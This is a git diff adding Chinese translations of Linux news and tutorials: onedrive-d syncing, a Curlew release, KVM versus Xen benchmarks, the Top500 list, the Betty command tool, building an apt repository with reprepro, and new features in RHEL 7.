+![](https://farm3.staticflickr.com/2925/14283963819_86cf52e1fd_z.jpg) + +回到先前的设置窗口,你会看到之前的状态已经变成了You have connected to OneDrive.com"(“你已经连接到了OneDrive.com”)。点击“OK”完成。 + +![](https://farm4.staticflickr.com/3896/14284004048_3e718d1e30.jpg) + +### 与OneDrive同步一个本地文件夹 ### + +这里有两种方法来使用onedrice-d将本地文件夹与OneDrive存储同步。 + +一种是“手动使用命令行来同步OneDrive”。就是当你需要与你的OneDrive账户同步时运行如下命令: + + $ onedrive-d + +`onedrive-d`接着将扫描本地文件夹与OneDrive帐户的内容并使两者同步。这意味着要么上传一个在本地文件夹新添加的文件,或者从远程OneDrive帐户下载最新发现的文件。如果你从本地文件夹删除任何文件,相应的文件将自动在与OneDrive帐户同步后被删除。反之亦然。 + +一旦同步完成,你可以使用Ctrl-C中断onedirve-d的前台进程。 + +![](https://farm6.staticflickr.com/5509/14283967750_b9ebf1b05d_z.jpg) + +另一种方法是将onedrive-d作为一个始终运行的守护进程在开机时自动启动。在这种情况下,后台守护进程会同时监视本地文件夹和OneDrive账户,以使它们保持同步。要做到这一点,只需将onedrive-D加入到你桌面的[自动启动程序列表][3]中就行了。 + +当onedrive-D作为守护进程在后台运行时,你会在桌面状态栏中看到OneDrive图标,如下图所示。每当同步更新被触发,你就会看到一个桌面通知。 + +![](https://farm4.staticflickr.com/3924/14290119448_3b1144db77.jpg) + +要注意的是:根据作者所言,onedrive-d仍在积极开发中。这并不能用于任何形式的生产环境。如果您遇到任何bug,请随时提交一份[bug报告][4]。你的贡献,笔者将不胜感激。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/06/sync-microsoft-onedrive-linux.html + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://xmodulo.com/go/onedrive +[2]:http://xybu.me/projects/onedrive-d/ +[3]:http://xmodulo.com/2013/12/start-program-automatically-linux-desktop.html +[4]:https://github.com/xybu92/onedrive-d/issues?state=open diff --git a/published/201407/20140624 Open Source Multimedia Converter Curlew 0.1.22.3 Is Out.md b/published/201407/20140624 Open Source Multimedia Converter Curlew 0.1.22.3 Is Out.md new file mode 100644 index 0000000000..8fe7018a07 --- /dev/null +++ b/published/201407/20140624 Open Source Multimedia Converter Curlew 0.1.22.3 Is Out.md @@ -0,0 +1,39 @@ +开源多媒体转换器Curlew 0.1.22.3发布了 +================================================================================ +![Curlew interface](http://i1-news.softpedia-static.com/images/news2/Open-Source-Multimedia-Converter-Curlew-0-1-22-3-Is-Out-448028-2.jpg) + +**Curlew是linux下的一款容易使用,开源多媒体转换器,现在的版本是0.1.22.3。** + + +Curlew可以转换超过100种不同的格式、显示文件的详细信息、转换预览、插入字幕等等。 + +此次更新包括:该软件打开时会记住上次的窗口大小和位置、增加了丢失了的对话框图标、在系统挂起前会主动同步文件系统。 + +这个程序需要的依赖环境包括:Python 2.7及其以上 (但是不兼容3.x)、python-gobject 3.0、gir1.2-gtk 3.0、 ffmpeg 0.8、libav-tools 0.8、 mencoder、libavcodec-extra、xdg-utils和mediainfo等。 + +来自noobslab.com的兄弟们提供一种通过PPA来简单地安装这个应用的方法。你要做的是在命令行下输入少量的命令(你需要有root权限才行) + + sudo add-apt-repository ppa:noobslab/apps + sudo apt-get update + sudo apt-get install curlew + +查看官方[更新日志][1]来获取完整的特性与更新列表。 + +你可以下载Curlew 0.1.22.3 的软件包: + +- [Ubuntu 14.04 DEB ALL][2][ubuntu_deb] [172 KB] +- [tar.gz][3][sources] [152 KB] + +记住这是一个开发版因此不应该安装在生产机器上。它只用于测试。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Open-Source-Multimedia-Converter-Curlew-0-1-22-3-Is-Out-448028.shtml + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://gtk-apps.org/content/show.php/Curlew?content=155664 +[2]:http://sourceforge.net/projects/curlew/files/curlew-0.1.22.3/curlew_0.1.22.3ubuntu14.04_all.deb/download +[3]:http://sourceforge.net/projects/curlew/files/curlew-0.1.22.3/curlew-0.1.22.3.tar.gz/download diff --git a/published/201407/20140624 Performance benchmarks--KVM vs. Xen.md b/published/201407/20140624 Performance benchmarks--KVM vs. Xen.md new file mode 100644 index 0000000000..9e24af52f4 --- /dev/null +++ b/published/201407/20140624 Performance benchmarks--KVM vs. Xen.md @@ -0,0 +1,94 @@ +性能基准测试:KVM大战Xen +================================================================================ +在上周,我们对 KVM 和 Xen 近几年里在性能上的改进进行了一些有趣的探讨后,我打算自己做一些这方面的小研究。我能找到的最新的资料,是来自[2013年 Phoronix Haswell 性能评测][1]上的基准测试。当然,还有[其它一些2011年的评测][2],不过由于 Xen 被收录进 Kernel 3.0,它们都已被热烈地讨论过。 + +2011年的测试提供了[许多很好的基准报表][3],在三年后的现在,我尽最大努力把它们列出的属性重新测试一遍。但我删减了其中两三个基准测试,原因是它们在未经特定优化的配置后跑出来的数据不是很好,或者它们需要跑很长时间才能得到结果。 + +### 测试环境 ### + +测试环境由两台一模一样的超微服务器组成,分别都配备一颗[Intel 至强 E3-1220][4](4核,3.10GHz),24G 金士顿 DDR3 内存,4块西数 RE-3 160G 磁盘(组成 RAID10 阵列)。另外 BIOS 也是一模一样。 + +所有测试项目(即实体机和虚拟机)都在 Fedora 20 (开 SELinux)上进行,并且测试过程中几乎没有运行的不相关的服务。这里列一下相关服务的版本: + +- Kernel: 3.14.8 +- For KVM: qemu-kvm 1.6.2 +- For Xen: xen 4.3.2 + +根文件系统都是使用默认配置的 XFS。虚拟机使用 virt-manager 来创建(virt-mamager 也使用默认配置)。虚拟磁盘使用 raw 镜像,容量为 8GB,虚拟4颗 CPU。Xen 虚拟机使用 [PVHVM][5] 建立虚拟磁盘。 + +### 附加说明 ### + +也许有人会考虑到 Fedora 是红帽公司所有,红帽一直在维护 KVM,而 Xen 则自从[在2009年红帽重新选择 KVM 作为虚拟化产品][6]后,再没得到这个公司的重要改进。我将这个因素排除在了测试所考虑的范围之外,不过仍然可以在心里稍微注意一下。 + +并且,资源竞争产生的影响也有被严格控制并最小化。在大多数虚拟服务器上,你可以跑多个虚拟机,而这些虚拟机会争用 CPU 时间片、磁盘 IO、网络带宽等等资源。在本测试中也不考虑这些因素。一台虚拟机抢到资源少,性能就差,而另一台抢得多,性能就好(LCTT译注:它们的性能总和,就可以大致当作是 KVM 或 Xen 的性能了)。 + +本测试运行在 Intel 的 CPU 上。如果使用的是 AMD 或 ARM,可能有些数据会不一样。 + +### 结果 ### + +本测试使用裸机作为虚拟服务测试的基准设备。在不跑虚拟机的情况下,两台裸机的性能偏差不会大于0.51% + +在几乎所有测试中,KVM 的性能相比宿主机而言下降了1.5%以内,只有两项测试例外。第一个是 7-zip 压缩,比宿主机慢了 2.79%。第二个就奇怪了,我们搭了一个邮件服务器,用 PostMark 测试其性能,结果表明 KVM 竟比宿主机快了4.11%。然后我在两台服务器中重新跑了几遍 PostMark 测试,结果性能差异基本不变,浮动都在最初测试结果的1%以内。由于我对 virtio 的内部机制没有很深的理解,我只能在以后再对这个怪现象进行进一步了解。 + +Xen 的性能相对宿主机而言差异就比较大了。有3项测试性能下降在2.5%以内,剩下的性能下降率都是 KVM 的2~4倍。PostMark 测试的性能比 KVM 慢了14.41%,这结果令我大吃一惊。重新跑了下测试,性能差还是几乎不变,浮动都在最初结果的2%以内。KVM 表现最好的 CPU 测试:MAFFT 对齐测试,是 Xen 表现倒数第二差的。 + +现在奉上一个简短得总结表: + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
 
Best Value
Bare Metal
KVM
Xen
C-Raylower35.3535.6636.13
POV-Raylower230.02232.44235.89
Smallptlower160162167.5
John the Ripper (Blowfish)higher30262991.52856
John the Ripper (DES)higher7374833.57271833.56911167
John the Ripper (MD5)higher4954848899.546653.5
OpenSSLhigher397.68393.95388.25
7-Ziphigher12467.512129.511879
Timed MAFFT Alignmentlower7.787.7958.42
CLOMPhigher3.33.2853.125
PostMarkhigher366738243205
+ +如果需要完整数据,请查看[Goole Docs 电子表格][7]。 + +### 结论 ### + +基于上面的测试环境,KVM 的性能损耗几乎都在2%以内,Xen 则在十多项测试中有3项损耗在2.5%以内,而其他几项损耗都在5~7%之间。虽然 KVM 在 PostMark 测试中性能表现优异,但这是众多测试中仅有的一项 I/O 测试,如果想证明 KVM 确实在 I/O 处理方面很强悍,就需要更多测试。 + +对我来说,我想要深入了解一下 KVM 和 Xen 在 I/O 方面的处理,以及它们之间为什么会有这么大的差别。我也许还会跑一些有竞争的测试,来看看虚拟机在有压力的条件下是否真的能比宿主机表现得更出色。 + +我鼓励读者通过使用[Phoronix 测试套件][8]来进行一些基准测试,你们可以找到一些能模仿你们工作环境的用例。如果你的工作环境是低 CPU 高 I/O,你可以找找套件里面的 I/O 压力测试。另一方面,如果你的工作是音频、视频转码,你可以试试套件里面的 x264 或 mp3 测试。 + +更新:[Chris Behrens 指出][9],我忘了提到 Xen 虚拟机类型了。这里补充下,我使用的是 PVHVM 模型(LCTT译注:目前支持的模型包括 PV、HVM 和 PVHVM),因为在 Xen 4.3 中这个选拥有最好的性能。另外需要注意的是在 Xen 4.4 中可以使用 PVH,但是在 Fedora 20 中还没有使用 Xen 4.4。 + +-------------------------------------------------------------------------------- + +via: http://major.io/2014/06/22/performance-benchmarks-kvm-vs-xen/ + +译者:[bazz2](https://github.com/bazz2) 校对:[ReiNoir](https://github.com/reinoir) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.phoronix.com/scan.php?page=article&item=intel_haswell_virtualization&num=1 +[2]:http://blog.xen.org/index.php/2011/11/29/baremetal-vs-xen-vs-kvm-redux/ +[3]:http://blog.xen.org/wp-content/uploads/2011/11/overview.png +[4]:http://ark.intel.com/products/52269/Intel-Xeon-Processor-E3-1220-8M-Cache-3_10-GHz?q=e3-1220 +[5]:http://wiki.xen.org/wiki/Xen_Linux_PV_on_HVM_drivers +[6]:http://www.infoworld.com/d/virtualization/red-hat-releases-first-kvm-support-rhel-54-376 +[7]:https://docs.google.com/spreadsheets/d/1kmudbOjCDUgfw76b8qP2GqNqF1ddlTOKyOjc0GmNOIE/edit?usp=sharing +[8]:http://www.phoronix-test-suite.com/ +[9]:https://twitter.com/comstud/status/480785742730252288 diff --git "a/published/201407/20140624 Top500 Supercomputer Remains Stuck at 33.86 Petaflops Each s - \347\277\273\350\257\221.md" "b/published/201407/20140624 Top500 Supercomputer Remains Stuck at 33.86 Petaflops Each s - \347\277\273\350\257\221.md" new file mode 100644 index 0000000000..6a6808f4d9 --- /dev/null +++ "b/published/201407/20140624 Top500 Supercomputer Remains Stuck at 33.86 Petaflops Each s - \347\277\273\350\257\221.md" @@ -0,0 +1,41 @@ +超算TOP 500的计算性能仍然保持在 33.86 千万亿次/秒 +-------------------------------------------------------------------------------- + +天河2号一年以前第一次跳上世界超算舞台,拥有了当时世界上最强计算机的皇冠。当时,天河2号被评测为 33.86 petaflops (千万亿次/秒)。 + +整整一年后天河-2 性能指数仍旧保持不变,它仍然坐在世界上最强超级计算机的头把交椅上。 + +![](http://www.serverwatch.com/imagesvr_ce/7184/icon-titan-r.jpg) + +在 2013 年 6 月时,世界上第二快的超级计算机是安置于美国能源部橡树岭国家实验室的 Cray Titan。一年前,Titan可飙至 17.59 petaflops。Titan的优秀表现,正如同天河-2一样, 到了2014 年 6 月仍然保持住了他的地位。 + +事实上,在最近的一年中,世界上顶尖的前 10 超级计算机的性能排名几乎没有任何改变,至少根据世界超算 500 强名单来看是这样的。 + +如果看看名单底部,在超算排行榜的第500名,是德国Deutcher Wetterdienst 的Cray XC30 ,其性能已经逼近 133.7 teraflops (万亿次/秒)。 + +TOP500 网站[指出][1],"最新名单上的最后的一个系统其实以前处在20年前世界 500 强排行榜中384位"。"这说明这二十年中列表变化不大。 + + +再次,列表有 85.4%的超级计算机都是英特尔芯片占主导地位的,而 IBM Power 处理器拥有 8%的市场份额。AMD 的占有率目前仅为 6%。 + + +就芯片架构来说,53.6%的超算都使用 8 个或更多核心的CPU, 13.4%的超算则是 10 个或更多的核心的CPU。 + +再来看看网络互联,Infiniband和以太网拆分了整个市场。在 2014 年 6 月名单上,Infiniband占据了系统的 44.4%。 + +相比之下,据报道千兆以太网有 25.4%的市场份额, 万兆以太网拥有 15%,合计占以太网整体份额的 40.4%。 + +惠普和 IBM 再次占领了超级计算供应商的列表。惠普现在占有 36.4%的份额,而 IBM 占有 35.2%。Cray 排名降低,位列第三,占有10.2%的市场份额。 + +虽然在世界前 500 的超级计算机榜单排名里面硬件供应商们,芯片体系架构,核心数量和互联方式竞争激烈,但是在选择操作系统的时候,毫无疑问的是,97%的超算都安装了linux操作系统,即top500超算榜单上的485个超算都安装了linux系统。 + + +-------------------------------------------------------------------------------- + +via: http://www.serverwatch.com/server-news/top500-supercomputer-remains-stuck-at-33.86-petaflops.html + +译者:[owen-carter](https://github.com/owen-carter) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://top500.org/blog/lists/2014/06/press-release/ \ No newline at end of file diff --git a/published/201407/20140625 Betty--Translate English Phrases Into Linux Commands.md b/published/201407/20140625 Betty--Translate English Phrases Into Linux Commands.md new file mode 100644 index 0000000000..83784a07e5 --- /dev/null +++ b/published/201407/20140625 Betty--Translate English Phrases Into Linux Commands.md @@ -0,0 +1,201 @@ +Betty:通过大白话执行Linux命令 +================================================================================ + +**Betty** 是一个将类英语短语翻译成Linux命令的开源工具。这个项目的主要目的是让大家可以通过输入自然语言来使用强大的Linux系统。让我们来看一下它是怎么工作的。 + +### 安装 ### + +Betty的安装非常简单直接。首先确认你已经安装了下面这些依赖包[LCTT译注,需要安装至少Ruby1.9以上版本]。 + +#### 对于基于Debian的系统:#### + + sudo apt-get install git curl ruby + +####对于基于RPM的系统:#### + + yum install git curl ruby + +现在用git工具把Betty库clone到你自定义的任何路径。这里我克隆到我的home目录,**例如 /home/sk/**. + + git clone https://github.com/pickhardt/betty + +添加betty的别名到你的bashrc配置文件。 + + sudo nano ~/.bashrc + +将下列行添加到文件的末尾: + + alias betty="/home/sk/betty/main.rb" + +确保你已经正确地设置好了betty的路径。 + +好了,现在是时候和betty好好地玩耍了。 + +### 用法 ### + +你应该在英语短语之前加上单词“betty” [LCTT译注,你自然可以用你的小甜心的名字来替换这个不是知道是谁的Betty :>]。你也许已经知道,如果我们想知道在系统中我们的用户名,应该运行下面的命令: + + whoami + +输出是这样的: + + sk + +如你所见,我当前登录的用户名是 **sk**. 现在我也可以通过下面的betty命令获取相同的结果。 + + betty whats my username + +输出是这样的: + + Betty: Running whoami + sk + +真的好酷,是不是?Betty理解我输入的“whats my username”短语,然后运行“whoami”命令,最后输出结果。 + +让我们也来看其他命令。 + +如果你的输入不够准确,Betty也能以多种方式回应你。例如,我们运行下面的命令: + + betty whats my name + +Betty不确定她应该查找系统用户名还是用户全名。这种情况下,她会询问你多个问题来找到准确的结果。如你下面所见,Betty问我想要运行哪一条命令(whoami 还是 finger $(whoami) | sed 's/.*:*//;q')[LCTT译注,需要你的系统已经安装finger]。我只想知道我的用户名,所以我选择数字**1**。 + + Betty: Okay, I have multiple ways to respond. + Betty: Enter the number of the command you want me to run, or N (no) if you don't want me to run any. + [1] whoami + Gets your system username. + [2] finger $(whoami) | sed 's/.*: *//;q' + Gets your full name. + 1 + Betty: Running whoami + sk + +### 压缩和解压缩文件夹 ### + +如果你想要压缩一个文件或者文件夹,用下面的命令。例如,我想压缩我home目录下的“test”文件夹。 + + betty compress test/ test.tar.gz + +输出是这样的: + + Betty: Running tar -czvf test.tar.gz test/ + test/ + test/home/ + test/home/sk/ + test/home/sk/test/ + test/home/sk/test/sample + +类似的,我们可以用下面的命令来解压缩一个归档文件。 + + betty uncompress test.tar.gz + +输出是这样的: + + Betty: Running mkdir test && tar -zxvf test.tar.gz -C test + test/ + test/home/ + test/home/sk/ + test/home/sk/test/ + test/home/sk/test/sample + +### 完整的Betty命令行列表 ### + +Betty工具有一些命令格式。如果你输入“what is my user name”而不是“whats my username”,它是不能识别的。所以,你只能输入Betty支持的英语短语。 + +下面给出一个Betty支持的完整的命令行列表。 + + Count: + betty how many words are in this directory + betty how many characters are in myfile.py + betty count lines in this folder + (Note that there's many ways to say more or less the same thing.) + + Config: + betty change your name to Joe + betty speak to me + betty stop speaking to me + + Datetime: + betty what time is it + betty what is todays date + betty what month is it + betty whats today + + Find: + betty find me all files that contain california + + Internet: + betty download http://www.mysite.com/something.tar.gz to something.tar.gz + betty uncompress something.tar.gz + betty unarchive something.tar.gz to somedir + (You can use unzip, unarchive, untar, uncompress, and expand interchangeably.) + betty compress /path/to/dir + + iTunes: + betty mute itunes + betty unmute itunes + betty pause the music + betty resume itunes + betty stop my music + betty next song + betty prev track + betty what song is playing + (Note that the words song, track, music, etc. are interchangeable) + + Fun: + betty go crazy + betty whats the meaning of life + ...and more that are left for you to discover! + + Map: + betty show me a map of mountain view + + Meta: + betty what version are you (or just betty version) + betty whats your github again + + Permissions: + betty give me permission to this directory + betty give anotheruser ownership of myfile.txt + + Process: + betty show me all processes by root containing grep + betty show me all my processes containing netbio + + Sizes: + betty show size for myfile.txt + + Spotify: + betty play spotify + betty pause spotify + betty next spotify + betty previous spotify + + User: + betty whats my username + betty whats my real name + betty whats my ip address + betty who else is logged in + betty whats my version of ruby + + Web queries: + betty turn web on + betty please tell me what is the weather like in London + +对Linux初级使用者来说,Betty似乎是一个非常nice的工具。希望这个工具对你也会非常有用。 + +Cheers! + +源代码: + +- [Betty Homepage][1] + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/betty-translate-english-phrases-linux-commands/ + +译者:[love\_daisy\_love](https://github.com/CNprober) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://github.com/pickhardt/betty \ No newline at end of file diff --git a/published/201407/20140625 Create A '.deb Pacakge Repository' at Sourceforge.net Using 'Reprepro' Tool in Ubuntu.md b/published/201407/20140625 Create A '.deb Pacakge Repository' at Sourceforge.net Using 'Reprepro' Tool in Ubuntu.md new file mode 100644 index 0000000000..7c3686fd36 --- /dev/null +++ b/published/201407/20140625 Create A '.deb Pacakge Repository' at Sourceforge.net Using 'Reprepro' Tool in Ubuntu.md @@ -0,0 +1,203 @@ +在Ubuntu下如何创建远程".deb"包仓库 +================================================================================ +**Reprepro**是一款小巧的命令行工具来方便地创建并管理**.deb**仓库。今天我们会展示给你如何使用reprepro简单地创建一个Debian包仓库,并使用**rsync**上传到Sourceforge.net。 + +![Create Deb Package Repository](http://www.tecmint.com/wp-content/uploads/2014/06/Create-Debian-Package-Repository1.png) + +### 步骤 1: 安装Reprepro并生成key ### + +首先,安装所有需要的包,使用下面的apt-get命令。 + + $ sudo apt-get install reprepro gnupg + +现在你需要使用gnupg生成一个gpg key,这里使用下面的命令。 + + $ gpg --gen-key + +它会询问你一些问题,比如你想要哪种key、key的有效期、如果你不知道如何回答,只需点击**回车** 来选择默认选项(建议) + +当然,它会询问你用户名和密码,在脑海中记住这些,因为我们会在之后需要它。 + + gpg (GnuPG) 1.4.14; Copyright (C) 2013 Free Software Foundation, Inc. + This is free software: you are free to change and redistribute it. + There is NO WARRANTY, to the extent permitted by law. + + Please select what kind of key you want: + (1) RSA and RSA (default) + (2) DSA and Elgamal + (3) DSA (sign only) + (4) RSA (sign only) + Your selection? + RSA keys may be between 1024 and 4096 bits long. + What keysize do you want? (2048) + Requested keysize is 2048 bits + Please specify how long the key should be valid. + 0 = key does not expire + = key expires in n days + w = key expires in n weeks + m = key expires in n months + y = key expires in n years + Key is valid for? (0) + Key does not expire at all + Is this correct? (y/N) Y + + You need a user ID to identify your key; the software constructs the user ID + from the Real Name, Comment and Email Address in this form: + "Heinrich Heine (Der Dichter) " + + Real name: ravisaive + Email address: tecmint.com@gmail.com + Comment: tecmint + You selected this USER-ID: + "Ravi Saive (tecmint) " + + Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O + You need a Passphrase to protect your secret key. + + We need to generate a lot of random bytes. It is a good idea to perform + some other action (type on the keyboard, move the mouse, utilize the + disks) during the prime generation; this gives the random number + generator a better chance to gain enough entropy. + + +++++ + gpg: key 2EB446DD marked as ultimately trusted + public and secret key created and signed. + + gpg: checking the trustdb + gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model + gpg: depth: 0 valid: 1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1u + pub 2048R/2EB446DD 2014-06-24 + Key fingerprint = D222 B1C9 342E 5911 02B1 9147 3BD6 7918 2EB4 46DD + uid Ravi Saive (tecmint) + sub 2048R/7EF2F750 2014-06-24 + +现在你的key已经生成了,要检查一下,用root权限运行这条命令。 + + $ sudo gpg --list-keys + +#### 示例输出 #### + + /home/ravisaive/.gnupg/pubring.gpg + ---------------------------------- + pub 2048R/2EB446DD 2014-06-24 + uid ravisaive (tecmint) + sub 2048R/7EF2F750 2014-06-24 + +### 步骤 2: 创建一个包仓库并导出key ### + +我们现在要开始创建仓库,首先你需要创建一些文件夹,我们的仓库会放在**/var/www/apt**目录,让我们先创建这些目录。 + + $ sudo su + # cd /var/www + # mkdir apt + # mkdir -p ./apt/incoming + # mkdir -p ./apt/conf + # mkdir -p ./apt/key + +你现在需要将key导出到仓库文件夹,运行: + + # gpg --armor --export username yourmail@mail.com >> /var/www/apt/key/deb.gpg.key + +注意:用你之前步骤中输入的用户名代替username,用你的email代替上面的yourmail@mail.com。 + +我们需要在**/var/www/apt/conf**创建一个文件“**distributions**”。 + + # touch /var/www/apt/conf/distributions + +加入下面这几行到distributions这个文件中并保存。 + + Origin: (你的名字) + Label: (库的名字) + Suite: (stable 或 unstable) + Codename: (发布的代码名,比如 trusty) + Version: (发布的版本,比如 14.04) + Architectures: (软件包所支持的架构, 比如 i386 或 amd64) + Components: (包含的部件,比如 main restricted universe multiverse) + Description: (描述) + SignWith: yes + +接下来我们会创建仓库树,运行这些命令: + + # reprepro --ask-passphrase -Vb /var/www/apt export + +#### 示例输出 #### + + Created directory "/var/www/apt/db" + Exporting Trusty... + Created directory "/var/www/apt/dists" + Created directory "/var/www/apt/dists/Trusty" + Created directory "/var/www/apt/dists/Trusty/universe" + Created directory "/var/www/apt/dists/Trusty/universe/binary-i386" + FF5097B479C8220C ravisaive (tecmint) needs a passphrase + Please enter passphrase: + Successfully created '/var/www/apt/dists/Trusty/Release.gpg.new' + FF5097B479C8220C ravisaive (tecmint) needs a passphrase + Please enter passphrase: + Successfully created '/var/www/apt/dists/Trusty/InRelease.new' + +### 步骤 3: 在新创建的仓库中加入包 ### + +现在准备你的**.deb**包来加入到仓库中。进入 **/var/www/apt**目录,你每次要加包的时候都必须这么做。 + + # cd /var/www/apt + # reprepro --ask-passphrase -Vb . includedeb Trusty /home/ravisaive/packages.deb + +**注意**:用你在distributions文件中输入的仓库代号来代替**trusty** ,并且用包的路径替换**/home/username/package.deb**,你会被要求输入密码。 + +#### 示例输出#### + + /home/ravisaive/packages.deb : component guessed as 'universe' + Created directory "./pool" + Created directory "./pool/universe" + Created directory "./pool/universe/o" + Created directory "./pool/universe/o/ojuba-personal-lock" + Exporting indices... + FF5097B479C8220C ravisaive (tecmint) needs a passphrase + Please enter passphrase: + Successfully created './dists/Trusty/Release.gpg.new' + FF5097B479C8220C ravisaive (tecmint) needs a passphrase + Please enter passphrase: + Successfully created './dists/Trusty/InRelease.new' + +你的包已经加入了仓库,如果要移除它的话采用如下命令: + + # reprepro --ask-passphrase -Vb /var/www/apt remove trusty package.deb + +当然你需要用你的包名与仓库代号来修改命令。 + +### 步骤 4: 上传仓库到Sourceforge.net ### + +要上传仓库到**Sourceforge.net**,你当然需要一个可用的账号与一个可用的项目,让我假设你想要上传仓库到**http://sourceforge.net/projects/myfoo/testrepository**,这里的myfoo是项目名(UNIX上的名称,不是URL,不是标题),testrepository是你想要上传文件到这上面的目录,这里我们会使用[rsync 命令][1]。(LCTT译注:当然你也可以上传到其它的支持Http/Rsync的服务器上,以提供远程软件库的服务。) + + # rsync -avP -e ssh /var/www/apt/ username@frs.sourceforge.net:/home/frs/project/myfoo/testrepository/ + +**注意**:用你在sourceforge.net上的用户名代替username,用你的项目的UNIX名称代替myfoo,用你想要存储的文件夹代替testrepository。 + +现在你的仓库(包括设置和key等等)上传到了**http://sourceforge.net/projects/myfoo/testrepository**。 + +要把它加入到一个已装好的系统,首先你需要导入仓库key,它实际上就是**/var/www/apt/key/deb.gpg.key**,但是这是一个本地路径,使用你的仓库的其它用户不能添加到他们的系统中,这就是为什么我们要导入来自sourceforge.net的key的原因。 + + $ sudo su + # wget -O - http://sourceforge.net/projects/myfoo/testrepository/apt/key/deb.gpg.key | apt-key add - + +你现在可以非常轻松地把仓库加入到系统中了,打开**/etc/apt/sources.list**,并加入下面这行: + + deb http://sourceforge.net/projects/myfoo/testrepository/apt/key/deb.gpg.key trusty main + +**Note**:用你的项目的UNIX类型名称代替myfoo,用你的仓库代码代替trusty,用你上传存储的文件夹代替testrepository,用你在distributionsj加入的仓库组件代替main。 + +接下来,运行下面的命令来更新仓库列表。 + + $ sudo apt-get update + +**祝贺你**! 你的软件仓库已经激活了!你现在可以非常简单地在你需要的时候安装包了。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/create-deb-pacakge-repository-in-ubuntu/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.tecmint.com/rsync-local-remote-file-synchronization-commands/ diff --git a/published/201407/20140625 Keep an eye on these 5 new features in RHEL 7.md b/published/201407/20140625 Keep an eye on these 5 new features in RHEL 7.md new file mode 100644 index 0000000000..debd55dcb5 --- /dev/null +++ b/published/201407/20140625 Keep an eye on these 5 new features in RHEL 7.md @@ -0,0 +1,57 @@ +RHEL 7值得注意的5个新特性 +================================================================================ +> RHEL 7 支持Docker容器,systemd,兼容微软的身份管理和支持高达500TB的XFS文件系统。 + +![](http://www.infoworld.com/sites/infoworld.com/files/media/image/140.jpg) + +在前一个主版本发布3年之后,经过至少6个月的[公开测试][1],RHEL(Red Hat Enterprise Linux)版本7终于发布了。这次更新表明了红帽子公司对于在RHEL中添加最新的以企业和数据为中心的特性的兴趣。这里列举了其中5个最吸引人眼球的新特性。 + +### 1. Docker ### + +RHEL 7中最大的新特性就是[紧密集成][2]了广受欢迎的应用程序虚拟化技术[Docker][3]。随着[Docker 1.0发布][4],把它集成到RHEL 7里正是恰逢其时。 + +用Docker包装的应用程序可以独立于操作系统,所以它们可以在操作系统之间移植并且正常运行。RHEL 7打算尽可能高效地使用Docker,以防止应用程序竞争资源或者为使用哪种运行时环境而困惑。 + +从RHEL的Docker路线图上的长期计划表来看,这可能会超越操作系统本身,发展成一系列的Docker容器,它可以支持用最小的开销部署一个系统。这个被称为"[Atomic项目][5]"的计划还处于早期阶段,红帽公司准备首先将它部署在他的Fedora Linux发行版,仅仅当做对前沿技术的测试。 + +### 2. Systemd ### + +引入systemd进程管理器可能引起系统管理员和Linux专家之间激烈的争论。systemd就被开发用于替代自专用Unix出现以来就在使用的init系统,它使得启动过程中装载服务更加高效。 + +因为systemd可能会带来一些不适,红帽公司没有马上在RHEL上使用systemd。早在2010发布的Fedora版本15就已经包含了systemd作为默认项目,这给了红帽公司一次很好的了解systemd在真实世界的运行的经验。同样,systemd也没有孤立地加入RHEL 7,而是作为这个OS大计划的一部分。例如,红帽公司希望通过使用systemd加强对RHEL 7中Docker容器的支持。 + +### 3. 默认使用 XFS ### + +第3个主要的改变是使XFS成为RHEL默认的文件系统,尽管这可能不那么引人瞩目。 + +最初由Silicon Graphics International(硅谷图形公司)创建的XFS在Linux系统上用做生产环境已经很长时间了。在RHEL 7上它将支持高达500TB的文件系统。RHEL 6默认使用ext4,尽管它有XFS选项。红帽子的竞争对手Suse Linux [也支持XFS][6],尽管它安装时[默认使用ext3][7]。 + +非常不幸的是,没有真正的方法可以将RHEL目前使用的其他文件系统,比如ext4或者btrfs移植到XFS。只能备份然后重建(来进行移植)。 + +### 4. 兼容微软的身份管理 ### + +就算是那些不是微软系统粉丝的管理员也对微软目录服务保持一定的尊重。RHEL 7添加了两个关键的特性以优化处理微软目录服务(AD)的方式。跨域认证现在可以在RHEL 7和微软目录服务之间建立,所以目录服务用户可以直接访问Linux侧的资源,不需要再进行一次登录。RHEL 7另一个目录服务相关的附加特性,是基于DNS信息自动发现和加入目录服务(或者其他红帽子认证服务)。 + +### 5. 性能监控(PCP:Performance Co-Pilot) ### + +进行性能调整的时候看不到实时数据就像是开着一辆挡风玻璃被刷上了油漆的车,所以RHEL 7添加了一个新的性能监控系统PCP([Performance Co-Pilot][8]),PCP最初由Silicon Graphics International(硅谷图形)[创建][9],但是现在它是RHEL 7的一部分。除了监控和记录系统状态,PCP还为其他子系统提供获取数据的API和工具集,比如正如你猜到的,刚刚介绍的systemd。 + +遵循这个思路,另一个次要的附加特性:新的性能配置文件。RHEL 6已经有符合特殊应用场景的调整RHEL的配置文件。RHEL 7不仅默认有一个新的性能最大化的配置文件,而且包含另一个新的平衡性能表现和能源消耗的配置文件。 + 